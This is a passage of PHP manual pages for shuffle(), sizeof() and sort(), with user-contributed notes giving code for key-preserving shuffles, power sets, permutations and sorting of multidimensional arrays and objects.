    unset($my_array[$element]);
  }
  return $copy;
}

$array = array(
  'a' => 'apple',
  'b' => 'ball',
  'c' => 'cat',
  'd' => 'dog',
  'e' => 'egg',
  'f' => 'fan',
  'g' => 'gun'
);

print_r(custom_shuffle($array));

Array
(
    [c] => cat
    [e] => egg
    [f] => fan
    [a] => apple
    [b] => ball
    [g] => gun
    [d] => dog
)

?>
dirk dot avery a t gmail 30-Apr-2009 05:58
Building on examples by m227 and pineappleclock, here is a function that returns all permutations of each set in the power set of an array of strings (instead of a string).  Thanks for the great examples!

<?php

/*
 Use: $arr = power_perms($in);

 Example:
  $in = array("A","B","C");
  $power_perms = power_perms($in);

 Returns:
  Array
  (
    [0] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

    [1] => Array
        (
            [0] => A
            [1] => C
            [2] => B
        )

    [2] => Array
        (
            [0] => B
            [1] => A
            [2] => C
        )

    [3] => Array
        (
            [0] => B
            [1] => C
            [2] => A
        )

    [4] => Array
        (
            [0] => C
            [1] => A
            [2] => B
        )

    [5] => Array
        (
            [0] => C
            [1] => B
            [2] => A
        )

    [6] => Array
        (
            [0] => A
            [1] => B
        )

    [7] => Array
        (
            [0] => B
            [1] => A
        )

    [8] => Array
        (
            [0] => B
            [1] => C
        )

    [9] => Array
        (
            [0] => C
            [1] => B
        )

    [10] => Array
        (
            [0] => A
            [1] => C
        )

    [11] => Array
        (
            [0] => C
            [1] => A
        )

    [12] => Array
        (
            [0] => A
        )

    [13] => Array
        (
            [0] => B
        )

    [14] => Array
        (
            [0] => C
        )

  )

*/

function power_perms($arr) {

    $power_set = power_set($arr);
    $result = array();
    foreach($power_set as $set) {
        $perms = perms($set);
        $result = array_merge($result,$perms);
    }
    return $result;
}

function power_set($in,$minLength = 1) {

   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }

   //usort($return,"cmp");  //can sort here by length
   return $return;
}

function factorial($int){
   if($int < 2) {
       return 1;
   }

   for($f = 2; $int-1 > 1; $f *= $int--);

   return $f;
}

function perm($arr, $nth = null) {

    if ($nth === null) {
        return perms($arr);
    }

    $result = array();
    $length = count($arr);

    while ($length--) {
        $f = factorial($length);
        $p = floor($nth / $f);
        $result[] = $arr[$p];
        array_delete_by_key($arr, $p);
        $nth -= $p * $f;
    }

    $result = array_merge($result,$arr);
    return $result;
}

function perms($arr) {
    $p = array();
    for ($i=0; $i < factorial(count($arr)); $i++) {
        $p[] = perm($arr, $i);
    }
    return $p;
}

function array_delete_by_key(&$array, $delete_key, $use_old_keys = FALSE) {

    unset($array[$delete_key]);

    if(!$use_old_keys) {
        $array = array_values($array);
    }

    return TRUE;
}
?>
pineappleclock at gmail dot com 22-Jan-2009 07:06
If you want the Power Set (set of all unique subsets) of an array instead of permutations, you can use this simple algorithm:

<?php
/**
* Returns the power set of a one dimensional array,
* a 2-D array.
* array(a,b,c) ->
* array(array(a),array(b),array(c),array(a,b),array(b,c),array(a,b,c))
*/
function powerSet($in,$minLength = 1) {
   $count = count($in);
   $members = pow(2,$count);
   $return = array();
   for ($i = 0; $i < $members; $i++) {
      $b = sprintf("%0".$count."b",$i);
      $out = array();
      for ($j = 0; $j < $count; $j++) {
         if ($b{$j} == '1') $out[] = $in[$j];
      }
      if (count($out) >= $minLength) {
         $return[] = $out;
      }
   }
   return $return;
}
?>
tony at brokerbin dot com 12-Nov-2008 04:26
Here is IMO the simplest and extremely fast way to shuffle an associative array AND keep the key=>value relationship.  However, it ONLY works if there are NO NUMERIC keys AT ALL.  Look into array_merge for the reason why.

<?php

$unshuffled = array('one'=>1,'two'=>2,'three'=>3);

$shuffled = array_merge( array_flip(array_rand($unshuffled,count($unshuffled))),$unshuffled );

?>

peace
Antonio Ognio 06-May-2008 06:42
Another shuffle() implementation that preserves keys, does not use extra memory and perhaps is a bit easier to grasp.

<?php
if (function_exists('shuffle_with_keys')===false) {
  function shuffle_with_keys(&$array) {
    /* Auxiliary array to hold the new order */
    $aux = array();
    /* We work with an array of the keys */
    $keys = array_keys($array);
    /* We shuffle the keys */
    shuffle($keys);
    /* We iterate thru' the new order of the keys */
    foreach($keys as $key) {
      /* We insert the key, value pair in its new order */
      $aux[$key] = $array[$key];
      /* We remove the element from the old array to save memory */
      unset($array[$key]);
    }
    /* The auxiliary array with the new order overwrites the old variable */
    $array = $aux;
  }
}
?>
07-Jun-2006 11:53
Posted below is code that you would expect to work

<?php

$keys = shuffle(array_keys($arr));

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>

This in fact does not work because shuffle returns a boolean true or false. More accurate code using this method would be:

<?php

$keys = array_keys($arr);
shuffle($keys);

foreach ($keys as $key) {

  $arr_elem = $arr[$key];
  // do what you want with the array element

}

?>
bill at SWScripts dot com 22-Sep-2005 06:45
Just a quick note to let people know that shuffle() will work on multidimensional associative arrays provided that the first key is already numeric.

So this array can be shuffled without losing any of the secondary keys or their values:

$array[0]['color'], $array[0]['size'], $array[0]['fabric']
. . .
$array[50]['color'], $array[50]['size'], $array[50]['fabric']

I recently ran up against needing to randomize this array and tried shuffle even though it's not really for associative arrays.

Hope it helps somebody out there.


Alias of count

  • « shuffle
  • sort »
  • PHP Manual
  • Array Functions
  • Alias of count

sizeof

(PHP 4, PHP 5)

sizeof — Alias of count()

Description

This function is an alias of: count().

User Contributed Notes

chris at amis dot nl 03-Sep-2013 06:15
I would recommend not using sizeof(). Many programmers expect sizeof() to return the amount of memory allocated. Instead sizeof() -as described above- is an alias for count().

Prevent misinterpretation and use count() instead.
gamola_tamolmol at yahoo dot com 31-Jul-2013 02:27
$n = count($arrayname);
$n = sizeof($arrayname);
umopdn [at] msn [dawt] com 23-Sep-2008 11:38
a) Always try and use PHP's internal routines to iterate through objects of various types (arrays in most examples below).

Instead of interpreting your code to loop through them, they use their own internal routines which are much faster.

(This is why foreach () will run faster than manual interation)

b) It is _always_ good practice to leave as many static resulting functions outside of loops, having operations that return the exact same piece of data every iteration of the loop is not pretty on resources.

c) I agree with PixEye's remarks on sizeof().  In PHP it is just an alias for the true function count().  It has other meanings logically in other languages rather than the number of elements in an object.  This should be avoided as it may confuse developers transitioning to PHP from other languages.
PixEye 23-Sep-2008 06:09
I am quite surprised about previous posts. Here are my advices:

1/ prefer the count() function instead of sizeOf() as sizeOf() is only an alias of count() and does not mean the same in many other languages based on C (avoid ambiguity).

2/ prefer the powerful forEach() function to iterate over arrays.
communiti.ch 10-Apr-2008 03:55
If your array is "huge"

It is reccomended to set a variable first for this case:

THIS->

$max = sizeof($huge_array);
for($i = 0; $i < $max;$i++)
{
code...
}

IS QUICKER THEN->

for($i = 0; $i < sizeof($huge_array);$i++)
{
code...
}
svanegmond at tinyplanet dot ca 13-Mar-2008 08:12
For people who use this kind of idiom:

for ($i=0; $i<sizeof($array); $i++) {
   ...
}

At least in PHP4, you will notice a large performance improvement if you switch to:

$max = sizeof($array);
for ($i=0; $i<$max; $i++) {
   ...
}

I had an array with a few thousand items in it, each of them a map with 5 key-value pairs, and just for'ing through the array took a second of CPU on a decent machine.


Sort an array

  • « sizeof
  • uasort »
  • PHP Manual
  • Array Functions
  • Sort an array

sort

(PHP 4, PHP 5)

sort — Sort an array

Description

bool sort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array. Elements will be arranged from lowest to highest when this function has completed.

Parameters

array

The input array.

sort_flags

The optional second parameter sort_flags may be used to modify the sorting behavior using these values:

Sorting type flags:

  • SORT_REGULAR - compare items normally (don't change types)
  • SORT_NUMERIC - compare items numerically
  • SORT_STRING - compare items as strings
  • SORT_LOCALE_STRING - compare items as strings, based on the current locale. It uses the locale, which can be changed using setlocale()
  • SORT_NATURAL - compare items as strings using "natural ordering" like natsort()
  • SORT_FLAG_CASE - can be combined (bitwise OR) with SORT_STRING or SORT_NATURAL to sort strings case-insensitively

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.4.0 | Added support for SORT_NATURAL and SORT_FLAG_CASE as sort_flags
5.0.2 | Added SORT_LOCALE_STRING

Examples

Example #1 sort() example

<?php

$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
foreach ($fruits as $key => $val) {
    echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

The above example will output:

fruits[0] = apple
fruits[1] = banana
fruits[2] = lemon
fruits[3] = orange

The fruits have been sorted in alphabetical order.

Example #2 sort() example using case-insensitive natural ordering

<?php

$fruits = array(
    "Orange1", "orange2", "Orange3", "orange20"
);
sort($fruits, SORT_NATURAL | SORT_FLAG_CASE);
foreach ($fruits as $key => $val) {
    echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

The above example will output:

fruits[0] = Orange1
fruits[1] = orange2
fruits[2] = Orange3
fruits[3] = orange20

The fruits have been sorted like natcasesort().

Notes

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

Note: Like most PHP sorting functions, sort() uses an implementation of » Quicksort. The pivot is chosen in the middle of the partition resulting in an optimal time for already sorted arrays. This is however an implementation detail you shouldn't rely on.

Warning

Be careful when sorting arrays with mixed types values because sort() can produce unpredictable results.

See Also

  • asort() - Sort an array and maintain index association
  • The comparison of array sorting functions

User Contributed Notes

williamprogphp at[pleaseNOTSPAM] yahoo d 20-Dec-2013 09:15
In order to make some multidimensional quick sort implementation, take advantage of this stuff

<?php
        function quickSortMultiDimensional($array, $chave) {
            if( count( $array ) < 2 ) {
                return $array;
            }
            $left = $right = array( );
            reset( $array );
            $pivot_key    = key( $array );
            $pivot    = array_shift( $array );
            foreach( $array as $k => $v ) {
                if( $v[$chave] < $pivot[$chave] )
                        $left[$k][$chave] = $v[$chave];
                else
                        $right[$k][$chave] = $v[$chave];
            }
            return array_merge(
                                    quickSortMultiDimensional($left, $chave),
                                    array($pivot_key => $pivot),
                                    quickSortMultiDimensional($right, $chave)
            );
        }
?>

I make it using the idea from pageconfig dot com

tks for viewing
me[ at ]szczepan[ dot ]info 27-Dec-2012 09:36
Sorting the keys, but keep the values in order is not possible by just ordering, because it would result in a new array. This is also the solution: Create a new array

<?php
$a = array(9=>"a",8=>"c",5=>"d");

$keys = array_keys($a);
sort($keys);
$result = array_combine($keys, array_values($a));

//Result : array(5=>"a",8=>"c",9=>"d");
?>
Walter Tross 16-Dec-2011 11:38
unless you specify the second argument, "regular" comparisons will be used. I quote from the page on comparison operators:
"If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically."
What this means is that "10" < "1a", and "1a" < "2", but "10" > "2". In other words, regular PHP string comparisons are not transitive.
This implies that the output of sort() can in rare cases depend on the order of the input array:
<?php
function echo_sorted($a)
{
   echo "{$a[0]} {$a[1]} {$a[2]}";
   sort($a);
   echo " => {$a[0]} {$a[1]} {$a[2]}\n";
}
// on PHP 5.2.6:
echo_sorted(array( "10", "1a", "2")); // => 10 1a 2
echo_sorted(array( "10", "2", "1a")); // => 1a 2 10
echo_sorted(array( "1a", "10", "2")); // => 2 10 1a
echo_sorted(array( "1a", "2", "10")); // => 1a 2 10
echo_sorted(array( "2", "10", "1a")); // => 2 10 1a
echo_sorted(array( "2", "1a", "10")); // => 10 1a 2
?>
ajanata at gmail dot com 21-Oct-2011 06:13
This took me longer than it should have to figure out, but if you want the behavior of sort($array, SORT_STRING) (that is, re-indexing the array unlike natcasesort) in a case-insensitive manner, it is a simple matter of doing usort($array, strcasecmp).
holdoffhunger at gmail dot com 18-Jul-2011 06:14
I have discovered an interesting trick with the sort function.  Many coders are using it to sort options for a user, because a computer will only need sorted data in limited cases.  However, every coder wants their sorted data to be usable.  It's very common to find any sorted data online, and to find options, "Sort by Date," "Sort Alphabetically," etc., etc., whether you're looking at an online catalogue or some bulletin board.

The trick is to use a combination of html commenting and str_pad's to do definitive "sort by" functions.  Let me demonstrate with an example: consider two arrays, Sorted_By_Date and Sorted_By_Name.  You want every element to be "<option value=something>Option Name</option", so that you can do a simple foreach statement that prints every option value.  But, sorting these arrays will technically sort just sort whatever you put into "value".  So, here's a neat trick.  Make every entry "<!-- Sort_Value --><option value=something>Option Name</option."  That way, when you sort, it'll have to sort technically by whatever is the Sort_Value.

The greatness of this trick is that you can make as many "sort this data by X" fields as you want!  Just create multiple arrays, each with the same option values and names, but with a different value put in "Sort_Value", which could be a date, a name, a price, etc..  With numbers, you may need to use the str_pad function, to push all of the zeros out to the left, for a proper sort.  For instance, in my code, that looks like...

<?php

                $number_of_versions_sort_value = str_pad($number_of_versions, 20, "0", STR_PAD_LEFT);

?>
alex dot hristov dot 88 at gmail dot com 16-Jun-2011 04:26
As some people have mentioned before sorting a multidimentional array can be a bit tricky. it took me quite a while to get it going but it works as a charm:

<?php
//$order has to be either asc or desc
 function sortmulti ($array, $index, $order, $natsort=FALSE, $case_sensitive=FALSE) {
        if(is_array($array) && count($array)>0) {
            foreach(array_keys($array) as $key)
            $temp[$key]=$array[$key][$index];
            if(!$natsort) {
                if ($order=='asc')
                    asort($temp);
                else
                    arsort($temp);
            }
            else
            {
                if ($case_sensitive===true)
                    natsort($temp);
                else
                    natcasesort($temp);
            if($order!='asc')
                $temp=array_reverse($temp,TRUE);
            }
            foreach(array_keys($temp) as $key)
                if (is_numeric($key))
                    $sorted[]=$array[$key];
                else
                    $sorted[$key]=$array[$key];
            return $sorted;
        }
    return $sorted;
}
?>
markrose at markrose dot ca 01-Jun-2011 08:54
I've yet to come across a fast way to merge sorted arrays by a user value. Merging the arrays and using PHP's usort isn't efficient, as it doesn't take advantage of the existing sorting. So I wrote my own merge sorted arrays by user value function. The limit parameter can be used be used to limit the number of results (there is no point sorting more results than needed). This sort is stable: values will be taken preferentially from the first, then second, etc., array inside $merge_arrays.

Note that this function will fail if a user value is boolean false. It could be adapted to hold the best value inside an array at some performance penalty. It could also be adapted to comparing strings case-insensitively.

To give you some idea of the performance, my machine will sort out the first 1000 values of 10 sorted arrays of 1000 values each in under 40 ms, using an integer sort field. Not fast by C standards, but a vast improvement over usort'ing 10,000 values.

<?php
function merge_sorted_arrays_by_field ($merge_arrays, $sort_field, $sort_desc = false, $limit = 0)
{
    $array_count = count($merge_arrays);

    // fast special cases...
    switch ($array_count)
    {
        case 0: return array();
        case 1: return $limit ? array_slice(reset($merge_arrays), 0, $limit) : reset($merge_arrays);
    }

    if ($limit === 0)
        $limit = PHP_INT_MAX;

    // rekey merge_arrays array 0->N
    $merge_arrays = array_values($merge_arrays);

    $best_array = false;
    $best_value = false;

    $results = array();

    // move sort order logic outside the inner loop to speed things up
    if ($sort_desc)
    {
        for ($i = 0; $i < $limit; ++$i)
        {
            for ($j = 0; $j < $array_count; ++$j)
            {
                // if the array $merge_arrays[$j] is empty, skip to next
                if (false === ($current_value = current($merge_arrays[$j])))
                    continue;

                // if we don't have a value for this round, or if the current value is bigger...
                if ($best_value === false || $current_value[$sort_field] > $best_value[$sort_field])
                {
                    $best_array = $j;
                    $best_value = $current_value;
                }
            }

            // all arrays empty?
            if ($best_value === false)
                break;

            $results[] = $best_value;
            $best_value = false;
            next($merge_arrays[$best_array]);
        }
    }
    else
    {
        for ($i = 0; $i < $limit; ++$i)
        {
            for ($j = 0; $j < $array_count; ++$j)
            {
                if (false === ($current_value = current($merge_arrays[$j])))
                    continue;

                // if we don't have a value for this round, or if the current value is smaller...
                if ($best_value === false || $current_value[$sort_field] < $best_value[$sort_field])
                {
                    $best_array = $j;
                    $best_value = $current_value;
                }
            }

            // all arrays empty?
            if ($best_value === false)
                break;

            $results[] = $best_value;
            $best_value = false;
            next($merge_arrays[$best_array]);
        }
    }

    return $results;
}
?>
cmarshall at gmx dot de 17-May-2011 12:10
I read up on various problems re: sort() and German Umlaut chars and my head was soon spinning - bug in sort() or not, solution via locale or not, etc. ... (a total newbie here).

The obvious solution for me was quick and dirty: transform the Umlaut chars (present as HTML codes in my case) to their normal equivalent ('ä' = 'ae', 'ö' = 'oe', 'ü' = 'ue', 'ß' = 'ss' etc.), sort the array, then transform back. However there are cases in which a 'Mueller' is really that and does NOT need to be transformed into 'Müller' afterwards. Hence I for example replace the Umlaut itself with it's normal equivalent plus a char not used in the string otherwise (e.g. '_') so that the transfer back to Umlaut would only take place on certain combinations.

Of course any other char instead of '_' can be used as additional char (influencing the sort result). I know that my solution is rough at the edges and may cause other sort problems but it was sufficient for my purpose.

The array '$dat' in this example was filled with German town names (I actually worked with a multiple array ('$dat[][]') but stripped the code down to this as it's easier to understand):

<?php
// START Pre-sorting (Umlaut -> normal letters)
$max = count($dat);
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('&szlig;','ss_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Auml;','Ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&auml;','ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Ouml;','Oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&ouml;','oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Uuml;','Ue_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&uuml;','ue_',$dat[$totcnt]);
}
// END Pre-sorting (Umlaut -> normal letters)

// START Sorting //
function compare_towns($a, $b)
{
return strnatcmp($a, $b);
}
usort($dat, 'compare_towns');
// END Sorting //

// START Post-sorting (normal letters -> Umlaut)
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('ss_','&szlig;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ae_','&Auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ae_','&auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Oe_','&Ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('oe_','&ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ue_','&Uuml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ue_','&uuml;',$dat[$totcnt]);
}
// END Post-sorting (normal letters -> Umlaut)
?>
anaz114119 at gmail dot com 24-Dec-2010 11:34
sort from textfile by coloumn
example name||date||time||comments
if you want to sort by date
$column = 2
<?php
function array_sort($array,$column){
 $column = $column-1;
 foreach($array as $line){
 $bits = explode("||",$line);
 $bits ="$bits[$column]**$line";
 $array1[]=$bits;
}
 asort($array1);
 foreach($array1 as $line){
 $bit = explode("**",$line);
 $bit ="$bit[1]";
 $array2[]=$bit;
}
 return$array2;
}
?>
poulou_0 at hotmail dot com 21-Dec-2010 09:59
if you are not interested in high or low case sort

<?php
//where
$sortable_array[$k] = $v2;
//put
$sortable_array[$k] = strtolower($v2);

//and where
$sortable_array[$k] = $v;
//put
$sortable_array[$k] = strtolower($v);
?>
phpdotnet at m4tt dot co dot uk 16-Aug-2010 04:03
Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            $new_array[$k] = $array[$k];
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
eriewave at hotmail dot com 29-Mar-2010 10:16
If you need to sort an array containing some equivalent values and you want the equivalents to end up next to each other in the overall order (similar to a MySQL's ORDER BY output), rather than breaking the function, do this:

<?php

sort($array, ksort($array))

?>

-When the sort() function finds two equivalents, it will sort them arbitrarily by their key #'s as a second parameter.

-Dirk
Dollar Hauler Admin 12-Mar-2010 07:10
I could never find a way to sort multidimensional arrays with 5+ keys while maintaining the data structure, but here it is:

(you can add an infinite number of keys, but it has to be added manually :\ )

<?php

$array[0]['name']  = 'Chris';
$array[0]['phone'] = '3971095';
$array[0]['year']  = '1978';
$array[0]['address'] = 'Street 1';

$array[1]['name']  = 'Breanne';
$array[1]['phone'] = '3766350';
$array[1]['year']  = '1990';
$array[1]['address'] = 'Street 2';

$array[2]['name']  = 'Dusty';
$array[2]['phone'] = '1541120';
$array[2]['year']  = '1982';
$array[2]['address'] = 'Street 3';

function multisort($array, $sort_by, $key1, $key2=NULL, $key3=NULL, $key4=NULL, $key5=NULL, $key6=NULL){
    // sort by ?
    foreach ($array as $pos =>  $val)
        $tmp_array[$pos] = $val[$sort_by];
    asort($tmp_array);

    // display however you want
    foreach ($tmp_array as $pos =>  $val){
        $return_array[$pos][$sort_by] = $array[$pos][$sort_by];
        $return_array[$pos][$key1] = $array[$pos][$key1];
        if (isset($key2)){
            $return_array[$pos][$key2] = $array[$pos][$key2];
            }
        if (isset($key3)){
            $return_array[$pos][$key3] = $array[$pos][$key3];
            }
        if (isset($key4)){
            $return_array[$pos][$key4] = $array[$pos][$key4];
            }
        if (isset($key5)){
            $return_array[$pos][$key5] = $array[$pos][$key5];
            }
        if (isset($key6)){
            $return_array[$pos][$key6] = $array[$pos][$key6];
            }
        }
    return $return_array;
    }

//usage (only enter the keys you want sorted):

$sorted = multisort($array,'year','name','phone','address');
print_r($sorted);

//output:
Array ( [0] => Array ( [year] => 1978 [name] => Chris [phone] => 3971095 [address] => Street 1 ) [2] => Array ( [year] => 1982 [name] => Dusty [phone] => 1541120 [address] => Street 3 ) [1] => Array ( [year] => 1990 [name] => Breanne [phone] => 3766350 [address] => Street 2 ) )
Brecht Cloetens 24-Nov-2009 12:57
<?php

/**
 * function: array_columns
 * author: Brecht Cloetens
 * params: $a = array() // original array
 *         $c = int() // number of columns
 */
function array_columns(&$a, $c=2)
{
    $m = ceil(count($a)/$c);
    $j = 0;
    for($i=0; $i<$m; $i++) {
        for($k=0; $k<$c; $k++) {
            $key = $i+($m*$k);
            settype($key,'integer');
            if(array_key_exists($key,$a)) {
                $b[$j] = $a[$key];
                $j++;
            }
        }
    }
    $a = $b;
}

$arr = range('a','z');
array_columns($arr,4);
print_r($arr);

?>

Example:
array(1,2,3,4,5) will be converted to array(1,4,2,5,3);

This can be easy if you want to display an array into a specified number of columns.

<table>
    <tr>
        <td>$arr[0] => 1</td>
        <td>$arr[1] => 4</td>
    </tr>
    <tr>
        <td>$arr[2] => 2</td>
        <td>$arr[3] => 5</td>
    </tr>
    <tr>
        <td>$arr[4] => 3</td>
        <td></td>
    </tr>
</table>
Anonymous 17-Nov-2009 03:10
[EDIT BY danbrown AT php DOT net: The code provided by this anonymous author contains bugfixes for and additions to code originally donated by "toenie" on 07-NOV-09.  The original author included the following note: "If you want to sort while using an 2 dimensional array, you can use this script I just wrote for myself. I thought it could be helpful for other people too."]

I also added the ability to sort in ascending and descending order.

$order = "ASC" will sort the array in ascending order
$order = "DESC" will sort the array in descending order

Here is the code:

<?php
    function order_array_num ($array, $key, $order = "ASC")
    {
        $tmp = array();
        foreach($array as $akey => $array2)
        {
            $tmp[$akey] = $array2[$key];
        }

        if($order == "DESC")
        {arsort($tmp , SORT_NUMERIC );}
        else
        {asort($tmp , SORT_NUMERIC );}

        $tmp2 = array();
        foreach($tmp as $key => $value)
        {
            $tmp2[$key] = $array[$key];
        }

        return $tmp2;
    }
?>
petr dot biza at gmail dot com 11-Sep-2009 03:29
Here is a function to sort an array by the key of his sub-array with keep key in top level.

<?php
function sksort(&$array, $subkey="id", $sort_descending=false, $keep_keys_in_sub = false) {
    $temp_array = $array;

    foreach ($temp_array as $key => &$value) {

      $sort = array();
      foreach ($value as $index => $val) {
          $sort[$index] = $val[$subkey];
      }

      asort($sort);

      $keys = array_keys($sort);
      $newValue = array();
      foreach ($keys as $index) {
        if($keep_keys_in_sub)
            $newValue[$index] = $value[$index];
          else
            $newValue[] = $value[$index];
      }

      if($sort_descending)
        $value = array_reverse($newValue, $keep_keys_in_sub);
      else
        $value = $newValue;
    }

    $array = $temp_array;
  }
?>
phpnet at theindy dot net 27-Aug-2009 07:45
In response to the msort function I find that the array_multisort function is a lot faster.

-John
danm68 at gmail dot com 26-Aug-2009 06:59
sort() used with strings doesn't sort just alphabetically. It sorts all upper-case strings alphabetically first and then sorts lower-case strings alphabetically second.
Just in case anyone was as confused as I was and I've never seen this mentioned anywhere.
otobrglez at gmail dot com 18-Feb-2009 09:45
This will select number of unique keys from array and order them in original order.

<?php
/*
$rows - array of records
$st - number of keys that you want to have

By Oto Brglez.

*/

$pom_k = array();
for($i=0; $i<$st;){
    $pom = array_rand($rows,1);
    if(!in_array($pom,$pom_k)){
        $pom_k[] = $pom;
        $i++;
    };
};
sort($pom_k,SORT_NUMERIC);

?>
stepmuel at ee dot ethz dot ch 10-Dec-2008 05:14
A little shorter way to sort an array of objects; with a callback function.

<?php
function objSort(&$objArray,$indexFunction,$sort_flags=0) {
    $indices = array();
    foreach($objArray as $obj) {
        $indeces[] = $indexFunction($obj);
    }
    return array_multisort($indeces,$objArray,$sort_flags);
}

function getIndex($obj) {
    return $obj->getPosition();
}

objSort($objArray,'getIndex');
?>
jalil at measat dot org 15-Nov-2008 10:48
this is an implementation of the complement of
Matthew Hood's objectSort (http://my.php.net/manual/en/function.sort.php#75036), which i found very convenient for sorting objects.

this does the reverse, it sorts according to the key
selected for the object but in reverse order.
and having both sort methods allows consistency and convenience for sorting objects, if speed isn't your major concern.

the only change ( apart form data being reworded as object )  is the use of < instead of > in the original.
you could of couse incorporate all in one routine, but why
complicate matters.

<?php
    function objectRSort(&$object, $key)
    {
        for ($i = count($object) - 1; $i >= 0; $i--)
        {
          $swapped = false;
          for ($j = 0; $j < $i; $j++)
          {
               if ($object[$j]->$key < $object[$j + 1]->$key)
               {
                    $tmp = $object[$j];
                    $object[$j] = $object[$j + 1];
                    $object[$j + 1] = $tmp;
                    $swapped = true;
               }
          }
          if (!$swapped) return;
        }
    }
?>
www at designdetector dot com 09-Sep-2008 04:43
To sort an array of multiple text fields alphabetically you have to make the text lowercase before sorting the array. Otherwise PHP puts acronyms before words. You can see this in my example code. Simply store the original text field at the end of the array line and call it later from there. You can safely ignore the lowercase version which is added to the start of the array line.

<?php
echo '<pre>ORIGINAL DATA:
<br />';

$data = array(
'Saturn|7|8|9|0||',
'Hello|0|1|2|3||',
'SFX|5|3|2|4||',
'HP|9|0|5|6||'
);

print_r($data);

sort($data);
reset($data);

echo '<br />RAW SORT:
<br />';

print_r($data);

for ($c = 0; $c < count($data); $c++) {
    list ($letter,$g1,$g2,$g3,$g4,$end) = explode ('|', $data[$c]);
    $lowercase = strtolower($letter);
    $data2[$c] = array($lowercase,$g1,$g2,$g3,$g4,$letter);
}

sort($data2);
reset($data2);

echo '<br />LOWERCASE SORT:
<br />';

print_r($data2);

echo '</pre>';
?>
matpatnik at hotmail dot com 24-Jan-2008 12:46
This function will sort entity letters eg:&eacute;

I hope that help someone

function sort_entity($array) {
    $total = count($array);
    for ($i=0;$i<$total;$i++) {
        if ($array[$i]{0} == '&') {
            $array[$i] = $array[$i]{1}.$array[$i];
        } else {
            $array[$i] = $array[$i]{0}.$array[$i];
        }
    }
    sort($array);

    for ($i=0;$i<$total;$i++) {
        $array[$i] = substr($array[$i],1);
    }

    return $array;
}
NBS Studio 04-Jul-2007 10:14
This is my way of sorting files into date modified date order. It worked for me!

$dir='topics';
$ext='php5';
$files=scandir($dir);
foreach($files as $fs){
    if(($fs!='.')&&($fs!='..')){
        $fs1.='¬'.filemtime($dir.'/'.$fs).'#'.$fs;
    }
}
$fs2=split('[¬]',$fs1);
arsort($fs2);
foreach($fs2 as $fs3){
    if(eregi($ext,$fs3)){
        $fs4.='¬'.$fs3;
    }
}
$fs5=split('[#]',$fs4);
foreach($fs5 as $fs6){
    if(eregi($ext,$fs6)){
        $fs7.='¬'.$fs6;
    }
}
$fs8=split('[¬]',$fs7);
foreach($fs8 as $fs9){
    $file_list.=$fs9.'
</br>';
}

print $file_list;
sinan at sinaneldem dot com 24-Jun-2007 05:29
here is little script which will merge arrays, remove duplicates and sort it by alphabetical order:

<?php

$array1 = array('apple', 'banana','pear');
$array2 = array('grape', 'pear','orange');

function array_unique_merge_sort($array1, $array2){
$array = array_unique(array_merge($array1, $array2));
sort($array);
